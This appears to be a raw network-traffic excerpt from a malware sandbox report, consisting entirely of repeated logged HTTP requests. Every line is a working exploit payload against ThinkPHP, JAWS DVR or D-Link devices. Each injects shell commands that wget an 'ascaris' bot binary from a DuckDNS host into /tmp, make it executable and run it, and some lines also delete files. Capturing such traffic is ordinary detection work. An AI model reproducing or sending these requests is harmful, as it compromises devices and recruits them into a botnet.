Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+wget+http:/\/amkbins.duckdns.org/bins/ascaris.arm;+chmod+777+ascaris.arm;+./ascaris.arm jaws.selfrep;rm+-rf+ascaris.arm HTTP/1.1User-Agent: Hello, MomentumHost: 127.0.0.1:80Content-Length: 430Connection: keep-aliveAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8Connection: keep-aliveData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /login.cgi?cli=aa%20aa%27;wget%20http://amkbins.duckdns.org/bins/ascaris.mips%20-O%20->%20/tmp/ascaris;chmod%20777%20/tmp/ascaris;/tmp/ascaris%20dlink.selfrep%27$ HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://amkbins.duckdns.org/bins/ascaris.x86 -O /tmp/.ascaris; chmod 777 /tmp/.ascaris; /tmp/.ascaris thinkphp.selfrep' HTTP/1.1Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /User-Agent: Tsunami/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
Source: global traffic	HTTP traffic detected: GET /shell?cd+/tmp;+rm+-rf+;+wget+http://amkbins.duckdns.org/bins/ascaris.arm7;+chmod+777+ascaris.arm7;+./ascaris.arm7+jaws.selfrep HTTP/1.0Connection: keep-aliveAccept-Encoding: gzip, deflateAccept: /*User-Agent: tbox/2.0
